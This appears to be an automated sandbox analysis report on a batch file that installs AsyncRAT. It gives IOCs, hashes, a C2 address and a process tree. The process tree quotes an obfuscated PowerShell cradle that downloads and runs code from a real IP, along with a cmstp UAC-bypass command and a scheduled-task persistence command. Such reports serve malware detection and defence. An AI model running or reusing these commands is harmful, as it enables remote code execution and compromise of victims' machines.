Analysis
-
max time kernel
127s -
max time network
146s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
26-09-2022 20:26
Static task
static1
Behavioral task
behavioral1
Sample
Thailand/Consulate-update.lnk
Resource
win7-20220901-en
Behavioral task
behavioral2
Sample
Thailand/Consulate-update.lnk
Resource
win10v2004-20220812-en
Behavioral task
behavioral3
Sample
Thailand/Th-Pass/Consulate-update.bat
Resource
win7-20220812-en
General
-
Target
Thailand/Th-Pass/Consulate-update.bat
-
Size
42KB
-
MD5
bdd44c10654add788dcba23da9089978
-
SHA1
33c482e714965393305acbdf9a596e20ce09d5c2
-
SHA256
11dd5d54f65eedcf032a3424a2fb4bc558f00574a8c26590ef234249f5738638
-
SHA512
49fdd5de2f6654ac0e9f4ccd0bcfb4db6b60feaa28e39b3678b49907ebaab6970b14c4d5f38a61f07cb2d23ef5a18536dcd483c9b8988fe23a67329c19b19e52
-
SSDEEP
96:fEOEY6iJOAFOg7OPV1Hzf7yAMHteKOVXO6zfMHg:xxCPQtuY82g
Malware Config
Extracted
asyncrat
| Edit 3LOSH RAT
Default
worldpassed.publicvm.com:199
AsyncMutex_6SI8OkBrC
-
delay
3
-
install
false
-
install_folder
%AppData%
Signatures
-
Processes:
powershell.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" powershell.exe -
Async RAT payload 2 IoCs
Processes:
resource yara_rule behavioral4/memory/4496-185-0x0000000000400000-0x0000000000412000-memory.dmp asyncrat behavioral4/memory/4496-186-0x000000000040DF0E-mapping.dmp asyncrat -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exepowershell.exeflow pid process 8 3016 powershell.exe 11 924 powershell.exe -
Checks computer location settings 2 TTPs 7 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exeWScript.exeWScript.exemshta.execmd.exeWScript.exemshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation mshta.exe Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation mshta.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 4448 set thread context of 4496 4448 powershell.exe aspnet_compiler.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 3708 taskkill.exe -
Modifies registry class 2 IoCs
Processes:
cmd.exepowershell.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000_Classes\Local Settings cmd.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: EnumeratesProcesses 14 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 3016 powershell.exe 3016 powershell.exe 924 powershell.exe 924 powershell.exe 2100 powershell.exe 2100 powershell.exe 3320 powershell.exe 3320 powershell.exe 3148 powershell.exe 3148 powershell.exe 2884 powershell.exe 2884 powershell.exe 4448 powershell.exe 4448 powershell.exe -
Suspicious use of AdjustPrivilegeToken 9 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exetaskkill.exepowershell.exepowershell.exepowershell.exeaspnet_compiler.exedescription pid process Token: SeDebugPrivilege 3016 powershell.exe Token: SeDebugPrivilege 924 powershell.exe Token: SeDebugPrivilege 2100 powershell.exe Token: SeDebugPrivilege 3320 powershell.exe Token: SeDebugPrivilege 3708 taskkill.exe Token: SeDebugPrivilege 3148 powershell.exe Token: SeDebugPrivilege 2884 powershell.exe Token: SeDebugPrivilege 4448 powershell.exe Token: SeDebugPrivilege 4496 aspnet_compiler.exe -
Suspicious use of WriteProcessMemory 44 IoCs
Processes:
cmd.execmd.exepowershell.execmd.exepowershell.execmd.exeWScript.execmd.exepowershell.exemshta.execmd.exeWScript.exemshta.execmd.exeWScript.exeWScript.exepowershell.exedescription pid process target process PID 1072 wrote to memory of 4396 1072 cmd.exe cmd.exe PID 1072 wrote to memory of 4396 1072 cmd.exe cmd.exe PID 4396 wrote to memory of 3016 4396 cmd.exe powershell.exe PID 4396 wrote to memory of 3016 4396 cmd.exe powershell.exe PID 3016 wrote to memory of 4884 3016 powershell.exe cmd.exe PID 3016 wrote to memory of 4884 3016 powershell.exe cmd.exe PID 4884 wrote to memory of 924 4884 cmd.exe powershell.exe PID 4884 wrote to memory of 924 4884 cmd.exe powershell.exe PID 924 wrote to memory of 2112 924 powershell.exe cmd.exe PID 924 wrote to memory of 2112 924 powershell.exe cmd.exe PID 2112 wrote to memory of 2100 2112 cmd.exe powershell.exe PID 2112 wrote to memory of 2100 2112 cmd.exe powershell.exe PID 924 wrote to memory of 3940 924 powershell.exe WScript.exe PID 924 wrote to memory of 3940 924 powershell.exe WScript.exe PID 924 wrote to memory of 4448 924 powershell.exe schtasks.exe PID 924 wrote to memory of 4448 924 powershell.exe schtasks.exe PID 3940 wrote to memory of 5088 3940 WScript.exe cmd.exe PID 3940 wrote to memory of 5088 3940 WScript.exe cmd.exe PID 5088 wrote to memory of 3320 5088 cmd.exe powershell.exe PID 5088 wrote to memory of 3320 5088 cmd.exe powershell.exe PID 3320 wrote to memory of 2684 3320 powershell.exe cmstp.exe PID 3320 wrote to memory of 2684 3320 powershell.exe cmstp.exe PID 2208 wrote to memory of 1748 2208 mshta.exe cmd.exe PID 2208 wrote to memory of 1748 2208 mshta.exe cmd.exe PID 1748 wrote to memory of 3984 1748 cmd.exe WScript.exe PID 1748 wrote to memory of 3984 1748 cmd.exe WScript.exe PID 3984 wrote to memory of 2080 3984 WScript.exe cmd.exe PID 3984 wrote to memory of 2080 3984 WScript.exe cmd.exe PID 4976 wrote to memory of 3708 4976 mshta.exe taskkill.exe PID 4976 wrote to memory of 3708 4976 mshta.exe taskkill.exe PID 2080 wrote to memory of 3148 2080 cmd.exe powershell.exe PID 2080 wrote to memory of 3148 2080 cmd.exe powershell.exe PID 4008 wrote to memory of 2884 4008 WScript.exe powershell.exe PID 4008 wrote to memory of 2884 4008 WScript.exe powershell.exe PID 3076 wrote to memory of 4448 3076 WScript.exe powershell.exe PID 3076 wrote to memory of 4448 3076 WScript.exe powershell.exe PID 4448 wrote to memory of 4496 4448 powershell.exe aspnet_compiler.exe PID 4448 wrote to memory of 4496 4448 powershell.exe aspnet_compiler.exe PID 4448 wrote to memory of 4496 4448 powershell.exe aspnet_compiler.exe PID 4448 wrote to memory of 4496 4448 powershell.exe aspnet_compiler.exe PID 4448 wrote to memory of 4496 4448 powershell.exe aspnet_compiler.exe PID 4448 wrote to memory of 4496 4448 powershell.exe aspnet_compiler.exe PID 4448 wrote to memory of 4496 4448 powershell.exe aspnet_compiler.exe PID 4448 wrote to memory of 4496 4448 powershell.exe aspnet_compiler.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Thailand\Th-Pass\Consulate-update.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeCMD.EXE /C POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$129F29E509EE1E6D662A0B698BDF443126FA22909A9349C94278092BF242DD93098499B04C136E7ADA949394E89B212D513F259ED2696AC253DCD7669BBB4FD51247E2A4AE3B89DE3009D38AC962B72526A0E0466B8D6D591F76329D69F3A36129647D7F='IEX(NEW-OBJECT NET.W';$7963E940A67F915107B59D095A281E4CE30DF7582C32129F47D4A5C1D24EF4518A63BE44FDD42CBBF90038A28C98D007379FF5F862D768EA26D3E35589780C0BB9F36D7721E74888CED8DCC292B2950465E86E9902C3377D999CFA583B7E0598E20E40D6='EBCLIENT).DOWNLO';[BYTE[]];$27F2F64A5D6C55B4B8B28BD912D1F3DB10240D9DF48FBB7EAD548E593A990F262BBD2E6D883EE197935F64B79173142463F4563C6707428F1D1D2E4CD294DA9D53AF2D4D993C405BA28005DD6002631196C1B00D13D19D687C4FE190D1775ED613D50567='DE174A186FAD3BB53FE142DD1C93BD111913F8BD77DEDAF0E2ED70ECC90CE0CD03B847C0F4F684903D78B6FF3B9B3EA291D320446288A48454EABC96FFAAECD768A0852098933A04647B2ABDBED8232C5D84E898E01205F0069F53491BB25D726E981F82(''http://209.209.41.33/p400/Good.txt'')'.REPLACE('DE174A186FAD3BB53FE142DD1C93BD111913F8BD77DEDAF0E2ED70ECC90CE0CD03B847C0F4F684903D78B6FF3B9B3EA291D320446288A48454EABC96FFAAECD768A0852098933A04647B2ABDBED8232C5D84E898E01205F0069F53491BB25D726E981F82','ADSTRING');[BYTE[]];IEX($129F29E509EE1E6D662A0B698BDF443126FA22909A9349C94278092BF242DD93098499B04C136E7ADA949394E89B212D513F259ED2696AC253DCD7669BBB4FD51247E2A4AE3B89DE3009D38AC962B72526A0E0466B8D6D591F76329D69F3A36129647D7F+$7963E940A67F915107B59D095A281E4CE30DF7582C32129F47D4A5C1D24EF4518A63BE44FDD42CBBF90038A28C98D007379FF5F862D768EA26D3E35589780C0BB9F36D7721E74888CED8DCC292B2950465E86E9902C3377D999CFA583B7E0598E20E40D6+$27F2F64A5D6C55B4B8B28BD912D1F3DB10240D9DF48FBB7EAD548E593A990F262BBD2E6D883EE197935F64B79173142463F4563C6707428F1D1D2E4CD294DA9D53AF2D4D993C405BA28005DD6002631196C1B00D13D19D687C4FE190D1775ED613D50567)2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePOWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$129F29E509EE1E6D662A0B698BDF443126FA22909A9349C94278092BF242DD93098499B04C136E7ADA949394E89B212D513F259ED2696AC253DCD7669BBB4FD51247E2A4AE3B89DE3009D38AC962B72526A0E0466B8D6D591F76329D69F3A36129647D7F='IEX(NEW-OBJECT NET.W';$7963E940A67F915107B59D095A281E4CE30DF7582C32129F47D4A5C1D24EF4518A63BE44FDD42CBBF90038A28C98D007379FF5F862D768EA26D3E35589780C0BB9F36D7721E74888CED8DCC292B2950465E86E9902C3377D999CFA583B7E0598E20E40D6='EBCLIENT).DOWNLO';[BYTE[]];$27F2F64A5D6C55B4B8B28BD912D1F3DB10240D9DF48FBB7EAD548E593A990F262BBD2E6D883EE197935F64B79173142463F4563C6707428F1D1D2E4CD294DA9D53AF2D4D993C405BA28005DD6002631196C1B00D13D19D687C4FE190D1775ED613D50567='DE174A186FAD3BB53FE142DD1C93BD111913F8BD77DEDAF0E2ED70ECC90CE0CD03B847C0F4F684903D78B6FF3B9B3EA291D320446288A48454EABC96FFAAECD768A0852098933A04647B2ABDBED8232C5D84E898E01205F0069F53491BB25D726E981F82(''http://209.209.41.33/p400/Good.txt'')'.REPLACE('DE174A186FAD3BB53FE142DD1C93BD111913F8BD77DEDAF0E2ED70ECC90CE0CD03B847C0F4F684903D78B6FF3B9B3EA291D320446288A48454EABC96FFAAECD768A0852098933A04647B2ABDBED8232C5D84E898E01205F0069F53491BB25D726E981F82','ADSTRING');[BYTE[]];IEX($129F29E509EE1E6D662A0B698BDF443126FA22909A9349C94278092BF242DD93098499B04C136E7ADA949394E89B212D513F259ED2696AC253DCD7669BBB4FD51247E2A4AE3B89DE3009D38AC962B72526A0E0466B8D6D591F76329D69F3A36129647D7F+$7963E940A67F915107B59D095A281E4CE30DF7582C32129F47D4A5C1D24EF4518A63BE44FDD42CBBF90038A28C98D007379FF5F862D768EA26D3E35589780C0BB9F36D7721E74888CED8DCC292B2950465E86E9902C3377D999CFA583B7E0598E20E40D6+$27F2F64A5D6C55B4B8B28BD912D1F3DB10240D9DF48FBB7EAD548E593A990F262BBD2E6D883EE197935F64B79173142463F4563C6707428F1D1D2E4CD294DA9D53AF2D4D993C405BA28005DD6002631196C1B00D13D19D687C4FE190D1775ED613D50567)3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell < C:\Users\Admin\AppData\Roaming/educational.png4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell5⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c POWeRSHeLL.eXe -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]]6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePOWeRSHeLL.eXe -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]]7⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Favorites\a.vbs"6⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Favorites\a.bat" "7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowerShell -NoProfile -ExecutionPolicy Bypass -Command C:\Users\Admin\Favorites\b.ps18⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmstp.exe"C:\Windows\system32\cmstp.exe" /au C:\Windows\temp\syx4bwhj.inf9⤵
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn administartor /sc minute /st 00:10 /tr C:\Users\Admin\Favorites\System.vbs6⤵
- Creates scheduled task(s)
-
C:\Windows\system32\mshta.exemshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""cmd.exe /c start """""""" """"%USERPROFILE%\Favorites\Assembly.vbs"""""",0:close")1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start "" "C:\Users\Admin\Favorites\Assembly.vbs"2⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Favorites\Assembly.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Favorites\x.bat" "4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowerShell -NoProfile -ExecutionPolicy Bypass -Command C:\Users\Admin\Favorites\x.ps15⤵
- UAC bypass
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\mshta.exemshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""taskkill /IM cmstp.exe /F"", 0, true:close")1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM cmstp.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WScript.exeC:\Windows\System32\WScript.exe "C:\Users\Admin\Favorites\System.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass & C:\Users\Admin\Favorites\micro.ps12⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WScript.exeC:\Windows\System32\WScript.exe "C:\Users\Admin\Favorites\System.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass & C:\Users\Admin\Favorites\micro.ps12⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
3KB
MD5556084f2c6d459c116a69d6fedcc4105
SHA1633e89b9a1e77942d822d14de6708430a3944dbc
SHA25688cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
SHA5120f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD58b5d3a2c2b26ac36b88cf03dd0a32fa9
SHA1a9122eb088176912311fc0f8eb0b8f020693d259
SHA2568a11a416df1c3ef93ee65773a43d84cdec960e9d551fcb0a4351fc15f1d0ff52
SHA51247e0f4eddc7e7323988597ac5fcf7c7ea15a9999667e07d6cc422fb072a5d2e0c5501a11db8b4f5e8a0f380a85ef0a60f9a201ed30f80b104b825bfe8d60a7c6
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
64B
MD5f987bea618dc9280d49263ee83f4447f
SHA10d03eecb822171a6b787ff0274a42ec397ba8cbd
SHA256afd8ec361ba7b01274629454df7a44180da4f5a8056bef63c7915d308268bdae
SHA512ab94285652797234c795c3818fd712b644a87f92f803b0573d315318aa91fd1329068a24ee783887db7c3fc621501094e944e6c53e62b99314e5b5196dc6f66f
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD557866c0b343808442b8657c28107e5cd
SHA1b131d901e867ca5a3de95ca3fc12b5a483137e31
SHA256232e6e16bb2f27daa78c8f60a34e6b2da4314cc004487c0b5b8ed0563d82fb73
SHA51245b9cb4901b36bb32ac1807a43f91b6e023a88ac3f92091051a0162bc275d21b850d6861f15caae188a8ac5c8d3fd9ef8cd8925afb230f4588208b1e449b59cc
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD557866c0b343808442b8657c28107e5cd
SHA1b131d901e867ca5a3de95ca3fc12b5a483137e31
SHA256232e6e16bb2f27daa78c8f60a34e6b2da4314cc004487c0b5b8ed0563d82fb73
SHA51245b9cb4901b36bb32ac1807a43f91b6e023a88ac3f92091051a0162bc275d21b850d6861f15caae188a8ac5c8d3fd9ef8cd8925afb230f4588208b1e449b59cc
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD502a1a26525c65a359d41483180eaa6f7
SHA1c0e2578b92d20e925c1c87016d1a9fccee1ec56f
SHA256d0ec351493bdbc6cb94990b162bb8be5b0217277cc55ae12aa3c7ea704cdbc6e
SHA512d3271137241553f8316fcfc94dcf88c2887ee7bb0babddb4c1666fb5ae821a28425400299281422a4ebeb1f4c7369443b839d10f182279504bbba5f2f1cd94c2
-
C:\Users\Admin\AppData\Roaming\educational.pngFilesize
251B
MD5292374cd21675135acb516497a730fd9
SHA1f6e019093fc9a0952b7ae2c536b0b9f37071d0bf
SHA25686cf5e4e86c0aae75158c04e13051275c341af7bf54b7a7cd49eced95d21b1b0
SHA512491623e21d1740e234925bf0d1df1ac6402404bbcbad1d3e926ebdca0eeb55e1ab2322d38c7501f28b0a8deda853e087bfc22f34ca9b63995428ba8a3c03da32
-
C:\Users\Admin\Favorites\Assembly.vbsFilesize
331B
MD566d268811c166c82aaef2f52450b0c73
SHA1f7810c1003732c440b986718a8217dd733e88f74
SHA256581df8170200c95d38ce78eba4e9942d47cad443bbc0148954e48df04eec3b34
SHA51236de3a5f59ee7a531832ae7e43997a3019ad8a15b0d1b321e589a85d77af27dab80b90a0ef5c978c4fffcc4d32fe8d870f60e9cf3e5bff302e4292bfc6196830
-
C:\Users\Admin\Favorites\System.vbsFilesize
121B
MD5dada8407cf4051919362d16a6d735cde
SHA18a2788926f97dbd59c99ad51b3383c59992c6c2e
SHA256ee512a4266049b505b2b5c6c4c7bd66baadd37eda61bfe7f31f6cfcc1c955a77
SHA51242c6b1fac8502e3b21cbd6cda11601afc55ca539db03667eec7c839bc33c70ed1a6aeba5a3c9684951143658b17183c2782bec8a0108b345c0ac2aebdaa8fc9f
-
C:\Users\Admin\Favorites\UAC-B.dllFilesize
11KB
MD5cc6ba6fc273dbfbb5c9698c0cf4719b9
SHA1a2b3433b728b0874ec69d8a629d5f0dd05c0946d
SHA256320316cdda2aa0e8709472a2b8eb8debcd0f8bb6f9af4d4d4b3bc67068ceebe7
SHA512fe2fe2f150fbf619dd7616c86c93a42446b7c915b92fb865971dcf7dd595c6483da7386ce40b99802dc0942068bd1703821e0e3b15a6ebe557619cf6fa413c61
-
C:\Users\Admin\Favorites\a.batFilesize
86B
MD54625a049cd6ea721b706699ab3c36dff
SHA1dbb82c9e8cb7bdcf617e7c4e158d031275b5ec24
SHA256c751a3cb67ab1c75f1de6e24b7193123cc815524c538973110d1f6027da24dc0
SHA51235674c3c1d6c449b3716ddf2ca8733e255a8f642723186a847694fb936b50a91e6bd7ab7f6edf1489592a583109739a4f0c12769823e2fc163860eeb7004b6c0
-
C:\Users\Admin\Favorites\a.vbsFilesize
485B
MD55ce49e20c572f2b6d4b43fc61a6906ec
SHA1170185b8ab9fc4749f28e5796999c23b50be89dc
SHA256d6a43aad0aa8e510f01409921c8b0b5c8d93d51d1f7f39340db775c164686412
SHA512c49e14c094e4d5e108aa50889a9fb06428a3d7a1f74d868c9b7d37f35658a64ea205b00681ad83aef428113fdf6fead8ef98dd1e6b38d84b8306765025c2e8e3
-
C:\Users\Admin\Favorites\b.ps1Filesize
173B
MD5e1d9cbc41ffacef02695df17824a82e0
SHA1970ae087b8a3d11fb3e2a9b8de1592a166436fa7
SHA25661571d1fd0000c02eef19b7dd6e452e2f9eba2e947f4c96d781e79d35802043f
SHA5123b4034b2072a309adeb1af8b540023791262915f4b1347f4aa27f8aedcbbb6e1126c1a4d5f1db1ce2ad5638d24d7ba3025a8451c291241db2f2a99b0832f620a
-
C:\Users\Admin\Favorites\micro.ps1Filesize
888KB
MD52c012c85dad2ed3845d3606fb4204d9d
SHA1aae41574a6a9fe13b8552a3aba61bc5a550d4161
SHA256ad4059af90d7d3a2690eef17d4fe45cc1d6b5b8c0ae806bc0d598e5a4838cd84
SHA5127d9da6e1f243a2bd55b7ce91d2657077268612cc176bc279e79fabedcd7cde740534d46289371759532e31676f62f76af602780f4f728437bc8344e62799873d
-
C:\Users\Admin\Favorites\micro.ps1Filesize
444KB
MD56c7473033862bc8f2d1ca5d2f64593a8
SHA1420a0f9508cf7a6e17ecb7670a9df7cbbb8c24d7
SHA25672842be7f7e16ffbb22c2646b18aa647537742782c2df530ad5076890743ea0e
SHA5122a9eda8fec9f0684bb2a8016868150a660181dabdfb29eec7a942ee4f843c63a854c42aaab2395e418dbb35be11134ec4ff5014e2daa4210bd891238d759f2f2
-
C:\Users\Admin\Favorites\x.batFilesize
86B
MD503fc58bceab448c9f183fbe86fed1f11
SHA107f3d54b0b40755e8f58f5fdab95049def6578e3
SHA2566062f0e764ccd855b61ba49720065dfd6f6c6864c4eb1e9dce95ba8a293fd756
SHA512c0e9aec7a6c5aaae3b018d44f1fbdc1939026ce16fad20211a0521e3db9e470d842508b7d2167672e1585bafeb4b2f1fe694ca96ddb9137ff9e5d3b4ca53ea4f
-
C:\Users\Admin\Favorites\x.ps1Filesize
567B
MD5e9859d3134c68db3134a6ca7df484344
SHA1f4eec5ee9aa11a82d19bdb78a174c574669fd1d8
SHA256a4aaf6c64969788732b20c79c1299719b84a52eddda13778a672195bbfba4a6c
SHA51247982ddf074418c350790f5f7d53edddbbb47e7768939ebf88f4812b01f241c8bff509dbd9a8e6232eb6ec7f8b0344a1a59474ea45da0c80af9f04ba21498cdb
-
C:\Windows\temp\syx4bwhj.infFilesize
834B
MD509c0056318d62ee84963c66ae83d6c1b
SHA1625936963d4a0059daff7222a1628198be9b7a4f
SHA25625b2a55bade39fe6d90e0fb06068062a95af522f62d743454ffa4ddd478781d8
SHA512b03301fcafbc905ac7724b5ee878208c4c7dc039b02edcfc00e51742c868ab4cf3f830dbbe52b314ee24f8d87f39b6c9eb3e6c188ddc75a9b52f7dfab85cb2d0
-
memory/924-143-0x000001B3F8F80000-0x000001B3F8FF6000-memory.dmpFilesize
472KB
-
memory/924-142-0x000001B3F8EB0000-0x000001B3F8EF4000-memory.dmpFilesize
272KB
-
memory/924-141-0x00007FFA44B90000-0x00007FFA45651000-memory.dmpFilesize
10.8MB
-
memory/924-153-0x00007FFA44B90000-0x00007FFA45651000-memory.dmpFilesize
10.8MB
-
memory/924-139-0x0000000000000000-mapping.dmp
-
memory/1748-162-0x0000000000000000-mapping.dmp
-
memory/2080-167-0x0000000000000000-mapping.dmp
-
memory/2100-147-0x00007FFA44B90000-0x00007FFA45651000-memory.dmpFilesize
10.8MB
-
memory/2100-145-0x0000000000000000-mapping.dmp
-
memory/2112-144-0x0000000000000000-mapping.dmp
-
memory/2684-158-0x0000000000000000-mapping.dmp
-
memory/2884-179-0x00007FFA44B90000-0x00007FFA45651000-memory.dmpFilesize
10.8MB
-
memory/2884-176-0x0000000000000000-mapping.dmp
-
memory/3016-133-0x0000000000000000-mapping.dmp
-
memory/3016-137-0x00007FFA44B90000-0x00007FFA45651000-memory.dmpFilesize
10.8MB
-
memory/3016-134-0x0000012FDF570000-0x0000012FDF592000-memory.dmpFilesize
136KB
-
memory/3016-135-0x00007FFA44B90000-0x00007FFA45651000-memory.dmpFilesize
10.8MB
-
memory/3148-172-0x00007FFA44B90000-0x00007FFA45651000-memory.dmpFilesize
10.8MB
-
memory/3148-174-0x00007FFA44B90000-0x00007FFA45651000-memory.dmpFilesize
10.8MB
-
memory/3148-169-0x0000000000000000-mapping.dmp
-
memory/3320-171-0x00007FFA44B90000-0x00007FFA45651000-memory.dmpFilesize
10.8MB
-
memory/3320-160-0x00007FFA44B90000-0x00007FFA45651000-memory.dmpFilesize
10.8MB
-
memory/3320-154-0x0000000000000000-mapping.dmp
-
memory/3708-168-0x0000000000000000-mapping.dmp
-
memory/3940-148-0x0000000000000000-mapping.dmp
-
memory/3984-164-0x0000000000000000-mapping.dmp
-
memory/4396-132-0x0000000000000000-mapping.dmp
-
memory/4448-180-0x0000000000000000-mapping.dmp
-
memory/4448-149-0x0000000000000000-mapping.dmp
-
memory/4448-183-0x00007FFA44CD0000-0x00007FFA45791000-memory.dmpFilesize
10.8MB
-
memory/4448-184-0x00007FFA44CD0000-0x00007FFA45791000-memory.dmpFilesize
10.8MB
-
memory/4448-187-0x00007FFA44CD0000-0x00007FFA45791000-memory.dmpFilesize
10.8MB
-
memory/4496-185-0x0000000000400000-0x0000000000412000-memory.dmpFilesize
72KB
-
memory/4496-186-0x000000000040DF0E-mapping.dmp
-
memory/4496-188-0x0000000005AF0000-0x0000000005B8C000-memory.dmpFilesize
624KB
-
memory/4496-189-0x0000000006140000-0x00000000066E4000-memory.dmpFilesize
5.6MB
-
memory/4496-190-0x0000000005B90000-0x0000000005BF6000-memory.dmpFilesize
408KB
-
memory/4884-136-0x0000000000000000-mapping.dmp
-
memory/5088-152-0x0000000000000000-mapping.dmp